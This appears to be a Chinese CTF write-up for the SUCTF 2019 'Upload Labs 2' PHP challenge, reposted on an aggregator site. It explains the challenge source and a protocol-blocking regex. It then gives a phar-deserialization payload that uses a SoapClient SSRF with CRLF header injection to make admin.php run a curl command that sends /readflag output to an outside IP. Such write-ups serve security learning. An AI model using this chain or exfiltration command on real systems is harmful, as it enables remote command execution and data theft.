65,【5】buuctf web [SUCTF 2019]Upload Labs 2

进入靶场

1,源代码

点击题目时有个就有个admin.php

<?php
// 引入配置文件
include 'config.php';class Ad{public $cmd;public $clazz;public $func1;public $func2;public $func3;public $instance;public $arg1;public $arg2;public $arg3;// 构造函数,用于初始化对象的属性function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){// 存储命令$this->cmd = $cmd;// 存储类名$this->clazz = $clazz;// 存储第一个函数名$this->func1 = $func1;// 存储第二个函数名$this->func2 = $func2;// 存储第三个函数名$this->func3 = $func3;// 存储第一个参数$this->arg1 = $arg1;// 存储第二个参数$this->arg2 = $arg2;// 存储第三个参数$this->arg3 = $arg3;}// 检查方法,使用反射来调用类的方法function check(){// 创建一个反射类,用于实例化类$reflect = new ReflectionClass($this->clazz);// 实例化类$this->instance = $reflect->newInstanceArgs();// 创建一个反射方法,用于调用类的第一个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);// 调用类的第一个方法,并传递第一个参数$reflectionMethod->invoke($this->instance, $this->arg1);// 创建一个反射方法,用于调用类的第二个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);// 调用类的第二个方法,并传递第二个参数$reflectionMethod->invoke($this->instance, $this->arg2);// 创建一个反射方法,用于调用类的第三个方法$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);// 调用类的第三个方法,并传递第三个参数$reflectionMethod->invoke($this->instance, $this->arg3);}// 析构函数,在对象销毁时执行function __destruct(){// 使用 system 函数执行存储的命令system($this->cmd);}
}// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){// 检查是否有 admin 的 POST 请求if(isset($_POST['admin'])){// 获取 POST 请求中的命令$cmd = $_POST['cmd'];// 获取 POST 请求中的类名$clazz = $_POST['clazz'];// 获取 POST 请求中的第一个函数名$func1 = $_POST['func1'];// 获取 POST 请求中的第二个函数名$func2 = $_POST['func2'];// 获取 POST 请求中的第三个函数名$func3 = $_POST['func3'];// 获取 POST 请求中的第一个参数$arg1 = $_POST['arg1'];// 获取 POST 请求中的第二个参数$arg2 = $_POST['arg2'];// 获取 POST 请求中的第三个参数$arg3 = $_POST['arg3'];// 创建一个 Ad 类的对象,并传递相应参数$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);// 调用 check 方法$admin->check();}
}
else {// 输出非管理员信息echo "You r not admin!";
}
  • 此文件定义了 Ad类,使用了反射机制。__construct 方法接收多个参数,包括 cmdclazzfunc1func2func3arg1arg2 和 arg3,存储在对象属性中。
  • check 方法使用反射来实例化 $clazz 存储的类,并调用该类的三个函数 func1func2 和 func3,并传递相应的参数。
  • __destruct 方法使用 system 函数执行 cmd 存储的命令.
  • 有一个简单的权限检查,仅允许 127.0.0.1 地址的请求访问,通过检查 $_SERVER['REMOTE_ADDR'] ,若请求包含 admin 的 POST 请求,会根据 POST 数据创建 Ad 类对象并调用其 check 方法。
  • Ad 类的 __destruct 方法使用 system 函数执行 cmd 命令,可能导致命令执行漏洞。

源码里有

func.php

<?php
// 引入 class.php 文件
include 'class.php';// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {// 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){// 如果包含危险的协议或关键字,终止程序并输出提示信息die("Go away!");}else{// 获取 POST 请求中的 url 数据$file_path = $_POST['url'];// 创建 File 类的新实例,将 url 作为参数传递给构造函数$file = new File($file_path);// 调用 File 类的 getMIME 方法$file->getMIME();// 输出文件类型信息echo "<p>Your file type is '$file' </p>";}
}
?>
  • 该文件引入 class.php 并检查 submit 和 url 的 POST 请求是否同时存在。
  • 使用正则表达式对 url 进行检查,防止一些危险的协议或关键字,若匹配则终止程序。
  • 若通过检查,会创建 File 类的对象并调用 getMIME 方法获取文件的 MIME 类型。

 class.php

<?php
// 引入 config.php 文件
include 'config.php';class File {// 存储文件名的公共属性public $file_name;// 存储文件类型的公共属性public $type;// 存储函数名的公共属性,默认为 "Check"public $func = "Check";// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 当对象反序列化时调用此方法function __wakeup() {// 使用反射类根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);// 调用新对象的 check 方法$a->check();}// 获取文件 MIME 类型的方法function getMIME() {// 打开文件信息资源$finfo = finfo_open(FILEINFO_MIME_TYPE);// 获取文件的 MIME 类型$this->type = finfo_file($finfo, $this->file_name);// 关闭文件信息资源finfo_close($finfo);}// 当对象作为字符串使用时调用此方法function __toString() {// 返回文件的类型return $this->type;}
}class Check {// 存储文件名的公共属性public $file_name;// 构造函数,接收文件名作为参数function __construct($file_name) {$this->file_name = $file_name;}// 检查文件内容的方法function check() {// 获取文件的内容$data = file_get_contents($this->file_name);// 检查文件内容是否包含 "<?", 若包含则终止程序if (mb_strpos($data, "<?")!== FALSE) {die("&lt;? in contents!");}}
}

 

  • 此文件定义了 File 类和 Check 类。
  • File 类的 __construct 方法接收文件名并存储,__wakeup 方法使用反射创建 Check 类的对象并调用其 check 方法,对文件进行检查。
  • getMIME 方法使用 finfo 函数获取文件的 MIME 类型,__toString 方法返回文件类型。
  • Check 类的 check 方法检查文件内容是否包含 "<?",若包含则终止程序。
    • File 类的 __wakeup 方法使用反射创建对象,但没有对 func 属性进行严格的验证和过滤,使得攻击者可以控制要实例化的类,这是一个潜在的反序列化漏洞入口。

不过连<?都过滤了,还能传什么????

2,该构造payload了

参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客

这篇博客最后还有出题人写的笔记 

<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');class File {public $file_name = "";public $func = "SoapClient";function __construct() {$target = "http://127.0.0.1/admin.php";$post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";$headers = [];$this->file_name  = [null,array('location' => $target,'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),'uri' => 'hello')];}function createObject() {// 使用反射根据 $func 属性创建一个新的对象$class = new ReflectionClass($this->func);// 使用反射类实例化对象,并将 $file_name 作为参数传递$a = $class->newInstanceArgs([$this->file_name]);return $a;}
}$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();// 以下是对创建的对象使用反射实例化的部分,为了演示将其放在同一文件中,但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {$createdObject = $object->createObject();// 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作// 例如,检查是否为 SoapClient 类的实例if ($createdObject instanceof SoapClient) {echo "Successfully created SoapClient object";} else {echo "Failed to create SoapClient object";}
}

 将运行结果传上去应该就能得到flag了,不过现在手头能运行PHP的东西都出了点问题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/893312.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BLE透传方案,IoT短距无线通信的“中坚力量”

在物联网&#xff08;IoT&#xff09;短距无线通信生态系统中&#xff0c;低功耗蓝牙&#xff08;BLE&#xff09;数据透传是一种无需任何网络或基础设施即可完成双向通信的技术。其主要通过简单操作串口的方式进行无线数据传输&#xff0c;最高能满足2Mbps的数据传输速率&…

12_PlayerPrefs存储登录窗口逻辑_回调函数优化Lamd表达式

创建 登录窗口LoginWnd.cs 绑定 登录窗口LoginWnd.cs 编写 登录窗口LoginWnd.cs using UnityEngine; using UnityEngine.UI; //输入文本 命名空间 //功能 : 登录注册窗口 public class LoginWnd : MonoBehaviour{public InputField iptAcct;public InputField iptPass;public …

西门子【Library of General Functions (LGF) for SIMATIC S7-1200 / S7-1500】

文章目录 概要整体架构流程技术名词解释技术细节小结 概要 通用函数库 (LGF) 扩展了 TIA Portal 中用于 PLC 编程的 STEP 7 指令&#xff08;数学函数、时间、计数器 等&#xff09;。该库可以不受限制地使用&#xff0c;并包含 FIFO 、搜索功能、矩阵计算、 astro 计…

每日一刷——1.20——准备蓝桥杯

链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 题目一 请统计某个给定范围[L, R]的所有整数中&#xff0c;数字2出现的次数。 比如给定范围[2, 22]&#xff0c;数字2在数2中出现了1次&#xff0c;在数12中出现1次&#xff0c;在数20中出现1次&a…

会议签到系统的架构和实现

会议签到系统的架构和实现 摘要:通过定制安卓会议机开机APP呈现签到界面&#xff0c;并且通过W/B结构采集管理签到信息&#xff0c;实现会议签到的功能。为达到此目标本文将探讨使用Redis提供后台数据支持&#xff1b;使用SocketIo处理适时消息&#xff1b;使用Flask进行原型开…

c++ 与 Matlab 程序的数据比对

文章目录 背景环境数据保存数据加载 背景 ***避免数据精度误差&#xff0c;快速对比变量 *** 环境 c下载 https://github.com/BlueBrain/HighFive 以及hdf5库 在vs 中配置库 数据保存 #include <highfive/highfive.hpp> using namespace HighFive;std::string fil…

OSS使用签名URL上传(返回前端上传地址)- NodeJS

使用过程 使用PUT方式的签名URL上传文件的过程如下&#xff1a; 代码示例 文件拥有者生成PUT方法的签名URL const OSS require("ali-oss");// 获取签名URL const client await new OSS({accessKeyId: yourAccessKeyId,accessKeySecret: yourAccessKeySecret,buc…

使用 div 自定义 input 和 textarea

1. 为什么要自定义呢&#xff1f; 原生的 input 和 textarea 在某些特定场景下存在功能或兼容性限制&#xff0c;因此使用 div 元素自定义实现&#xff0c;突破原生输入框在样式、功能、兼容性上的限制。 1、解决火狐浏览器换行问题 某些版本的火狐浏览器中&#xff0c;原生…

Golang的网络编程安全

Golang的网络编程安全 一、Golang网络编程的基本概念 作为一种现代化的编程语言&#xff0c;具有优秀的并发特性和网络编程能力。在Golang中&#xff0c;网络编程是非常常见的需求&#xff0c;可以用于开发各种类型的网络应用&#xff0c;比如Web服务、API服务、消息队列等。Go…

Python新春烟花

目录 系列文章 写在前面 技术需求 完整代码 下载代码 代码分析 1. 程序初始化与显示设置 2. 烟花类 (Firework) 3. 粒子类 (Particle) 4. 痕迹类 (Trail) 5. 烟花更新与显示 6. 主函数 (fire) 7. 游戏循环 8. 总结 注意事项 写在后面 系列文章 序号直达链接爱…

vscode 设置

一、如何在vscode中设置放大缩小代码 1.1.文件—首选项——设置 1.2.在搜索框里输入“Font Ligatures”&#xff0c;然后点击"在settings.json中编辑" 1.3.在setting中&#xff08;"editor.fontLigatures":前&#xff09;添加如下代码 "editor.mous…

航电系统路线规划克隆核心技术!

一、航电系统 航电系统&#xff08;Avionics System&#xff09;是民用飞机的“大脑”与“神经”&#xff0c;分为航电核心处理与数据传感两个部分。航电核心处理系统采用综合模块化、开放式系统结构&#xff0c;为飞机提供公共计算、网络通信和接口、飞行管理、显示与告警、机…

OSCP - Proving Grounds - BullyBox

主要知识点 如果发现有域名&#xff0c;则可以加入/etc/hosts后重新执行nmap,nikto等扫描dirsearch的时候可以使用完整一些的字典文件&#xff0c;避免漏掉信息.git dump 具体步骤 执行nmap 扫描&#xff0c;发现 80和22端口开放,访问后发现被重定向到 bullybox.local Star…

【计算机网络】传输层协议TCP与UDP

传输层 传输层位于OSI七层网络模型的第四层&#xff0c;主要负责端到端通信&#xff0c;可靠性保障&#xff08;TCP&#xff09;&#xff0c;流量控制(TCP)&#xff0c;拥塞控制(TCP)&#xff0c;数据分段与分组&#xff0c;多路复用与解复用等&#xff0c;通过TCP与UDP协议实现…

MongoDB 备份与恢复综述

目录 一、基本概述 二、逻辑备份 1、全量备份 2、增量备份 3、恢复 三、物理备份 1、cp/tar/fsync 2、WiredTiger 热备份 3、恢复 四、快照备份 一、基本概述 MongoDB 是一种流行的 NoSQL 数据库&#xff0c;它使用文档存储数据&#xff0c;支持丰富的查询语言和索引…

5. 马科维茨资产组合模型+AI金融智能体(qwen-max)+政策信息优化方案(理论+Python实战)

目录 0. 承前1. AI金融智能体1.1 What is AI金融智能体1.2 Why is AI金融智能体1.3 How to AI金融智能体 2. 数据要素&计算流程2.1 参数集设置2.2 数据获取&预处理2.3 收益率计算2.4 因子构建与预期收益率计算2.5 协方差矩阵计算2.6 投资组合优化2.7 持仓筛选2.8 AI金融…

后端开发基础——JavaWeb(Servlet)

Servlet 关于系统架构 系统架构包括什么形式&#xff1f; C/S架构 B/S架构 C/S架构&#xff1f; Client / Server&#xff08;客户端 / 服务器&#xff09; C/S架构的软件或者说系统有哪些呢&#xff1f; QQ&#xff08;先去腾讯官网下载一个QQ软件&#xff0c;几十MB&…

Hanlp的学习

参考&#xff1a;HanLP 自然语言处理使用总结-CSDN博客 参考&#xff1a;Sprint Boot 工程中HanLP配置相对路径&#xff0c;始终有问题的解决方案_springboot hanlp-CSDN博客 <!--hanlp 依赖--><dependency><groupId>com.hankcs</groupId><artifa…

LLMs(大型语言模型)的多智能体:Auto-GPT

LLMs(大型语言模型)的多智能体:Auto-GPT 是指在一个系统中集成多个具有不同能力、角色和任务的智能体,这些智能体能够相互协作、沟通和交互,以共同完成复杂的任务或解决复杂的问题。每个智能体都可以被视为一个独立的实体,具有自己的策略、目标和知识库,通过相互之间的…

JSON全解析:语法、转换与FastJson应用指南

大家好&#xff0c;我是袁庭新。JSON是一种轻量级、基于文本、开放式的数据交换格式。在数据交换的世界里&#xff0c;JSON 扮演着重要角色。它究竟为何备受青睐&#xff1f;下面就为您详细解读其奥秘与应用。 1.JSON简述 JSON&#xff08;JavaScript Object Notation&#…